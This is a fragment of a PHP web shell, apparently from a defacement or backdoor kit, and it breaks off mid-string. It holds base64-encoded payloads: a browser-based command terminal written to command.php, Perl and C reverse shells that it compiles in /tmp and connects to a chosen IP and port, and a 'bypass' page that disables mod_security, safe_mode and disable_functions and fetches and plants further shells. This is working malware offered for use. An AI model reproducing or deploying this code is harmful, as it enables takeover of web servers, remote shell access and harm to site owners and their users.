0IGNoYW5nZSB0bzogJG5ld19kaXJcbiI7Cn0KZWxzZQp7Ci8qIFRoZSBjb21tYW5kIGlzIG5vdCBhICdjZCcgY29tbWFuZCwgc28gd2UgZXhlY3V0ZSBpdCBhZnRlcgoqIGNoYW5naW5nIHRoZSBkaXJlY3RvcnkgYW5kIHNhdmUgdGhlIG91dHB1dC4gKi8KY2hkaXIoJF9TRVNTSU9OWydjd2QnXSk7CgovKiBBbGlhcyBleHBhbnNpb24uICovCiRsZW5ndGggPSBzdHJjc3BuKCRfUkVRVUVTVFsnY29tbWFuZCddLCAiIFx0Iik7CiR0b2tlbiA9IHN1YnN0cihAJF9SRVFVRVNUWydjb21tYW5kJ10sIDAsICRsZW5ndGgpOwppZiAoaXNzZXQoJGFsaWFzZXNbJHRva2VuXSkpCiRfUkVRVUVTVFsnY29tbWFuZCddID0gJGFsaWFzZXNbJHRva2VuXSAuIHN1YnN0cigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJGxlbmd0aCk7CgokcCA9IHByb2Nfb3BlbihAJF9SRVFVRVNUWydjb21tYW5kJ10sCmFycmF5KDEgPT4gYXJyYXkoJ3BpcGUnLCAndycpLAoyID0+IGFycmF5KCdwaXBlJywgJ3cnKSksCiRpbyk7CgovKiBSZWFkIG91dHB1dCBzZW50IHRvIHN0ZG91dC4gKi8Kd2hpbGUgKCFmZW9mKCRpb1sxXSkpIHsKJF9TRVNTSU9OWydvdXRwdXQnXSAuPSBodG1sc3BlY2lhbGNoYXJzKGZnZXRzKCRpb1sxXSksRU5UX0NPTVBBVCwgJ1VURi04Jyk7Cn0KLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRlcnIuICovCndoaWxlICghZmVvZigkaW9bMl0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMl0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9CgpmY2xvc2UoJGlvWzFdKTsKZmNsb3NlKCRpb1syXSk7CnByb2NfY2xvc2UoJHApOwp9Cn0KfSAvLyBlbmQgcGhwdGhpZW5sZQoKLyojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjIwojIyBUaGUgbWFpbiB0aGluZyBzdGFydHMgaGVyZQojIyBBbGwgb3V0cHV0IGlzdCBYSFRNTAojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKQHNlc3Npb25fc3RhcnQoKTsKJHRlcm1pbmFsLT5pbml0VmFycygpOwokdGVybWluYWwtPmJ1aWxkQ29tbWFuZEhpc3RvcnkoKTsKJHRlcm1pbmFsLT5idWlsZEphdmFIaXN0b3J5KCk7CmlmKCFpc3NldCgkX1NFU1NJT05bJ3Byb21wdCddKSk6ICR0ZXJtaW5hbC0+Zm9ybWF0UHJvbXB0KCk7IGVuZGlmOwokdGVybWluYWwtPm91dHB1dEhhbmRsZSgkYWxpYXNlcyk7CgpoZWFkZXIoJ0NvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04Jyk7CmVjaG8gJzw/eG1sIHZlcnNpb249IjEuMCIgZW5jb2Rpbmc9IlVURi04Ij8+JyAuICJcbiI7Ci8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgc2FmZSBtb2RlIGluY3JlYXNlCiMjIGJsb3F1ZSBmb25jdGlvbgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyovCj8+CjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iSmF2YVNjcmlwdCI+CnZhciBjdXJyZW50X2xpbmUgPSAwOwp2YXIgY29tbWFuZF9oaXN0ID0gbmV3IEFycmF5KDw/cGhwIGVjaG8gJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXTsgPz4pOwp2YXIgbGFzdCA9IDA7CmZ1bmN0aW9uIGtleShlKSB7CmlmICghZSkgdmFyIGUgPSB3aW5kb3cuZXZlbnQ7CmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQppZiAoZS5rZXlDb2RlID09IDQwICYmIGN1cnJlbnRfbGluZSA+IDApIHsKY29tbWFuZF9oaXN0W2N1cnJlbnRfbGluZV0gPSBkb2N1bWVudC5zaGVsbC5jb21tYW5kLnZhbHVlOwpjdXJyZW50X2xpbmUtLTsKZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZSA9IGNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdOwp9Cn0KZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KPC9zY3JpcHQ+CjxzdHlsZSB0eXBlPSJ0ZXh0L2NzcyI+CmJvZHkge2ZvbnQtZmFtaWx5OiBzYW5zLXNlcmlmOyBjb2xvcjogYmxhY2s7IGJhY2tncm91bmQ6IHdoaXRlO30KdGFibGV7d2lkdGg6IDgwMHB4OyBoZWlnaHQ6IDI1MHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPGgyPkRldmVsb3BlciBCeSBLeW1Mam5rPC9oMj4KCjw/cGhwIGlmIChlbXB0eSgkX1JFUVVFU1RbJ3Jvd3MnXSkpICRfUkVRVUVTVFsncm93cyddID0gMjY7ID8+Cgo8dGFibGUgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj4KPHRyPjx0ZCBjbGFzcz0iaGVhZCIgc3R5bGU9ImNvbG9yOiAjMDAwMDAwOyI+PGI+UFdEIDo8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjYwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoqLz8+CjwvZm9ybT48L3RkPjwvdHI+CjwvYm9keT4KPC9odG1sPgo8P3BocCA/Pg=='; $file = fopen("command.php" ,"w+"); $write = fwrite ($file ,base64_decode($perltoolss)); fclose($file); echo " "; }//end new command window via NC elseif ($action == 'backconnect') { !$yourip && $yourip = $_SERVER['REMOTE_ADDR']; !$yourport && $yourport = '7777'; $usedb = array('perl'=>'perl','c'=>'c'); $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; if ($start && $yourip && $yourport && $use){ if ($use == 'perl') { cf('/tmp/angel_bc',$back_connect); $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &"); } else { cf('/tmp/angel_bc.c',$back_connect_c); $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); @unlink('/tmp/angel_bc.c'); $res = execute("/tmp/angel_bc $yourip $yourport &"); } m("Now script try connect to $yourip port $yourport ..."); } formhead(array('title'=>'Back Connect')); makehide('action','backconnect'); p(' '); p('Your IP:'); makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip)); p('Your Port:'); makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport)); p('Use:'); makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use)); makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt')); p(' '); formfoot(); }//end backconnect //end leech //end leech window via NC elseif ($action == 'bypass') { $file = fopen($dir."bypass.php" ,"w+"); $perltoolss = 'PCFET0NUWVBFIEhUTUwgUFVCTElDICctLy9XM0MvL0RURCBIVE1MIDQuMDEgVHJhbnNpdGlvbmFsLy9FTicgJ2h0dHA6Ly93d3cudzMub3JnL1RSL2h0bWw0L2xvb3NlLmR0ZCc+CjxodG1sPgo8IS0tSXRzIEZpcnN0IFB1YmxpYyBWZXJzaW9uIAoKIC0tPgo8L2h0bWw+CjxodG1sPgo8aGVhZD4KPG1ldGEgaHR0cC1lcXVpdj0nQ29udGVudC1UeXBlJyBjb250ZW50PSd0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgnPgo8dGl0bGU+OjogQnkgUGFzcyA6OiBWSEIgOjo8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgphIHsgCnRleHQtZGVjb3JhdGlvbjpub25lOwpjb2xvcjp3aGl0ZTsKIH0KPC9zdHlsZT4gCjxzdHlsZT4KaW5wdXQgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6OHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9Ci5ESVIgeyAKY29sb3I6IzAwMDAzNTsgCmZvbnQ6Ym9sZCA4cHQgJ3RyZWJ1Y2hldCBtcycsaGVsdmV0aWNhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjsKYmFja2dyb3VuZC1jb2xvcjojQUEwMDAwOwpib3JkZXItc3R5bGU6bm9uZTsKfQoudHh0IHsgCmNvbG9yOiMyQTAwMDA7IApmb250OmJvbGQgIDhwdCAndHJlYnVjaGV0IG1zJyxoZWx2ZXRpY2Esc2Fucy1zZXJpZjsKfSAKYm9keSwgdGFibGUsIHNlbGVjdCwgb3B0aW9uLCAuaW5mbwp7CmZvbnQ6Ym9sZCAgOHB0ICd0cmVidWNoZXQgbXMnLGhlbHZldGljYSxzYW5zLXNlcmlmOwp9CmJvZHkgewoJYmFja2dyb3VuZC1jb2xvcjogI0U1RTVFNTsKfQouc3R5bGUxIHtjb2xvcjogI0FBMDAwMH0KLnRkCnsKYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsKYm9yZGVyLXRvcDogMHB4Owpib3JkZXItbGVmdDogMHB4Owpib3JkZXItcmlnaHQ6IDBweDsKfQoudGRVUAp7CmJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7CmJvcmRlci10b3A6IDFweDsKYm9yZGVyLWxlZnQ6IDBweDsKYm9yZGVyLXJpZ2h0OiAwcHg7CmJvcmRlci1ib3R0b206IDFweDsKfQouc3R5bGU0IHtjb2xvcjogI0ZGRkZGRjsgfQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5Pgo8P3BocAoka29rZG9zeWEgPSAiLmh0YWNjZXNzIjsKCiRkb3N5YV9hZGkgPSAiJGtva2Rvc3lhIjsKJGRvc3lhID0gZm9wZW4gKCRkb3N5YV9hZGkgLCAndycpIG9yIGRpZSAoIkRvc3lhIGE/P2xhbWFkPyEiKTsKJG1ldGluID0gIjxJZk1vZHVsZSBtb2Rfc2VjdXJpdHkuYz4KICAgIFNlY0ZpbHRlckVuZ2luZSBPZmYKICAgIFNlY0ZpbHRlclNjYW5QT1NUIE9mZgo8L0lmTW9kdWxlPiI7CQpmd3JpdGUgKCAkZG9zeWEgLCAkbWV0aW4gKSA7CmZjbG9zZSAoJGRvc3lhKTsgCgoka29rZG9zeWEgPSAicGhwLmluaSI7CgokZG9zeWFfYWRpID0gIiRrb2tkb3N5YSI7CiRkb3N5YSA9IGZvcGVuICgkZG9zeWFfYWRpICwgJ3cnKSBvciBkaWUgKCJEb3N5YSBhPz9sYW1hZD8hIik7CiRtZXRpbiA9ICJzYWZlX21vZGUgICAgICAgICAgPSAgICAgICBPRkYKZGlzYWJsZV9mdW5jdGlvbnMgICAgICAgPSAgICAgICAgICAgIE5PTkUiOwkKZndyaXRlICggJGRvc3lhICwgJG1ldGluICkgOwpmY2xvc2UgKCRkb3N5YSk7CgojIFBIUCBWYXJpYWJsZXMgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OiBQSFAgVmFyaWFibGVzICMKRlVOQ1RJT04gQ29weVNoZWxsZXIoJERJUikgewokU2hlbGxlciA9IFJuZE5hbWUoKTsKJFNIX1RYVCA9IChAJF9QT1NUWydzaGVsbGVyVVJMJ10pOwokZmlsZTIzID0gKEBmaWxlX2dldF9jb250ZW50cygiJFNIX1RYVCIpKTsKaWYgKCEkZmlsZTIzKSB7CmVjaG8gIjxmb250IGNvbG9yPXJlZD5bK10gQ2FuJ3QgT3BlbiBUaGUgU2hlbGxlciBGaWxlIC48L2ZvbnQ+PGJyPiI7Cn0KZWxzZSB7CiRmcDIzID0gQGZvcGVuKCIkRElSLyRTaGVsbGVyLnBocCIsJ3crJyk7CiRmdzIzID0gQGZ3cml0ZSgkZnAyMywkZmlsZTIzKTsKaWYgKCRmdzIzKSB7CmVjaG8gIjxmb250IGNvbG9yPWdyZWVuPlsrXSBVcGxvYWRlZCBTdWNjZXNzZnVsIDogJERJUi8kU2hlbGxlci5waHA8L2ZvbnQ+PEJSPiI7Cn0KQGZjbG9zZSgkZnAyMyk7CiB9Cn0KZnVuY3Rpb24gaXNfd2luZG93cygpIHsgcmV0dXJuIHN0cnRvbG93ZXIoc3Vic3RyKFBIUF9PUywwLDMpKSA9PSAid2luIjsgfQokc2VydmVyPSRIVFRQX1NFUlZFUl9WQVJTWydTRVJWRVJfU09GVFdBUkUnXTsKJHNhZmVfbW9kZT1pbmlfZ2V0KCdzYWZlX21vZGUnKTsKJG15c3FsX3N0YXQ9ZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0Jyk7CiRjdXJsX29uPWZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJyk7CiRkaXNfZnVuYz1pbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpOwpmdW5jdGlvbiBzeXNpbmZvKCkKewogZ2xvYmFsICRjdXJsX29uLCAkZGlzX2Z1bmMsICRteXNxbF9zdGF0LCAkc2FmZV9tb2RlLCAkc2VydmVyLCAkSFRUUF9TRVJWRVJfVkFSUzsKIGVjaG8gKCgkc2FmZV9tb2RlKT8oIlNhZmUgTW9kZTogPC9iPjxmb250IGNvbG9yPWdyZWVuPk9OPC9mb250PjxiPiAiKToKICAgICAgICAgKCI8Qj5TYWZlIE1vZGU6IDwvYj48Zm9udCBjb2xvcj1yZWQ+T0ZGPC9mb250PjxiPiAiKSk7CiAkcm93X2Rpc19mdW5jPWV4cGxvZGUoJywgJywkZGlzX2Z1bmMpOwogZWNobyAoIlBIUDogPC9iPjxmb250IGNvbG9yPWJsdWU+Ii5waHB2ZXJzaW9uKCkuIjwvZm9udD48Yj4gIik7CiBlY2hvICgiTXlTUUw6IDwvYj4iKTsKIGlmKCRteXNxbF9zdGF0KXsKICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTiA8L2ZvbnQ+PGI+IjsKIH0KIGVsc2UgewogIGVjaG8gIjxmb250IGNvbG9yPXJlZD5PRkYgPC9mb250PjxiPiI7CiB9CiBlY2hvICJjVVJMOiA8L2I+IjsKIGlmKCRjdXJsX29uKXsKICBlY2hvICI8Zm9udCBjb2xvcj1ncmVlbj5PTjwvZm9udD48Yj48YnI+IjsKIH1lbHNlCiAgZWNobyAiPGZvbnQgY29sb3I9cmVkPk9GRjwvZm9udD48Yj48YnI+IjsKIGlmICgkZGlzX2Z1bmMhPSIiKXsKICBlY2hvICJEaXNhYmxlZCBGdW5jdGlvbnMgOiA8L2I+PGZvbnQgY29sb3I9cmVkPiIuJGRpc19mdW5jLiI8L2ZvbnQ+PGJyPjxiPiI7CiB9CiBlbHNlIHsKICBlY2hvICJEaXNhYmxlZCBGdW5jdGlvbnMgOiA8L2I+PGZvbnQgY29sb3I9Z3JlZW4+Tm9uZTwvZm9udD48YnI+PGI+IjsKIH0KICR1bmFtZSA9IEBleGVjKCd1bmFtZSAtYScpOwogZWNobyAiT1M6IDwvYj48Zm9udCBjb2xvcj1ibHVlPiI7CiBpZiAoZW1wdHkoJHVuYW1lKSl7CiAgZWNobyAocGhwX3VuYW1lKCkuIjwvZm9udD48YnI+PGI+Iik7CiB9ZWxzZQogIGVjaG8gJHVuYW1lLiI8L2ZvbnQ+PGJyPjxiPiI7CiAkaWQgPSBAZXhlYygnaWQnKTsKIGVjaG8gIlNFUlZFUjogPC9iPjxmb250IGNvbG9yPWJsdWU+Ii4kc2VydmVyLiI8L2ZvbnQ+PGJyPjxiPiI7CiBlY2hvICJJRDogPC9iPjxmb250IGNvbG9yPWJsdWU+IjsKIGlmICghZW1wdHkoJGlkKSl7CiAgZWNobyAkaWQuIjwvZm9udD48YnI+PGI+IjsKIH1lbHNlCiAgZWNobyAidXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLgogICAgICAgIjwvZm9udD48YnI+PGI+IjsKIGVjaG8gIjxiPlJlbW90ZUFkZHJlc3M6IDwvYj48Zm9udCBjb2xvcj1yZWQ+Ii4kSFRUUF9TRVJWRVJfVkFSU1snUkVNT1RFX0FERFInXS4iPC9mb250PiAsIDxiPlNlcnZlcjogPC9iPjxmb250IGNvbG9yPXJlZD4iLkBnZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIjwvZm9udD4iOwogaWYoaXNzZXQoJEhUVFBfU0VSVkVSX1ZBUlNbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKXsKICBlY2hvICI8Yj5SZW1vdGVBZGRyZXNzSWZQcm94eTogPC9iPjxmb250IGNvbG9yPXJlZD4iLiRIVFRQX1NFUlZFUl9WQVJTWydIVFRQX1hfRk9SV0FSREVEX0ZPUiddLiI8L2ZvbnQ+IjsKIH0KIGVjaG8gIjwvZm9udD48L2ZvbnQ+IjsKfQpmdW5jdGlvbiBSbmROYW1lKCkgewokY29kZWxlbmdodCA9IDEwOwp3aGlsZShAJG5ld2NvZGVfbGVuZ3RoIDwgJGNvZGVsZW5naHQpIHsKJHg9MTsKJHk9MzsKJHBhcnQgPSByYW5kKCR4LCR5KTsKaWYoJHBhcnQ9PTEpeyRhPTQ4OyRiPTU3O30KaWYoJHBhcnQ9PTIpeyRhPTY1OyRiPTkwO30KaWYoJHBhcnQ9PTMpeyRhPTk3OyRiPTEyMjt9CiRjb2RlX3BhcnQ9Y2hyKHJhbmQoJGEsJGIpKTsKKEAkbmV3Y29kZV9sZW5ndGggPSAkbmV3Y29kZV9sZW5ndGggKyAxKTsKKEAkbmV3Y29kZSA9ICRuZXdjb2RlLiRjb2RlX3BhcnQpOwp9CnJldHVybiAkbmV3Y29kZTsKfQojIFBIUCBWYXJpYWJsZXMgOjo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6Ojo6OiBQSFAgVmFyaWFibGVzICMKZWNobyAiPENFTlRFUj4KICA8dGFibGUgYm9yZGVyPScxJyBjZWxscGFkZGluZz0nMCcgY2VsbHNwYWNpbmc9JzAnIHN0eWxlPSdib3JkZXItY29sbGFwc2U6IGNvbGxhcHNlOyBib3JkZXItc3R5bGU6IHNvbGlkOyBib3JkZXItY29sb3I6ICNDMEMwQzA7IHBhZGRpbmctbGVmdDogNDsgcGFkZGluZy1yaWdodDogNDsgcGFkZGluZy10b3A6IDE7IHBhZGRpbmctYm90dG9tOiAxJyBib3JkZXJjb2xvcj0nIzExMTExMScgd2lkdGg9Jzg2JScgYmdjb2xvcj0nI0UwRTBFMCc+CiAgICA8dHI+CiAgICAgIDx0ZCBiZ2NvbG9yPScjQUEwMDAwJyBjbGFzcz0ndGQnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+OiBmb3JiaWRkZW4gYWxsIGJ5cGFzcyBzaGVsbCA6IDwvZGl2PjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgc3R5bGU9J3BhZGRpbmc6NXB4IDVweCA1cHggNXB4ICc+IjsKCSAgZWNobyBzeXNpbmZvKCk7CmVjaG8gIgkgIDwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgICA8dGQgYmdjb2xvcj0nI0FBMDAwMCcgY2xhc3M9J3RkJyBzdHlsZT0ncGFkZGluZzowcHggMHB4IDBweCA1cHgnPjxkaXYgYWxpZ249J2NlbnRlcicgY2xhc3M9J3N0eWxlNCc+CiAgICAgICAgPGRpdiBhbGlnbj0nbGVmdCc+CiAgICAgICAgICA8Zm9ybSBuYW1lPSdmb3JtNCcgbWV0aG9kPSdwb3N0JyBhY3Rpb249Jyc+CiAgICAgICAgICAgICBWaWV3IERpcmVjdG9yeSA6IAogICAgICAgICAgICAgPGlucHV0IG5hbWU9J0dvRGlyJyB0eXBlPSd0ZXh0JyBjbGFzcz0nRElSJyBpZD0nR29EaXInIHNpemU9JzEyMCc+CiAgICAgICAgICA8L2Zvcm0+CiAgICAgICAgPC9kaXY+CiAgICAgIDwvZGl2PjwvdGQ+CiAgICA8L3RyPgogICAgPHRyPgogICAgPHRkIHdpZHRoPScxMDAlJyBoZWlnaHQ9JzI4MCcgc3R5bGU9J3BhZGRpbmc6MjBweCAyMHB4IDIwcHggMjBweCAnPiI7CgoKaWYgKGlzc2V0KCR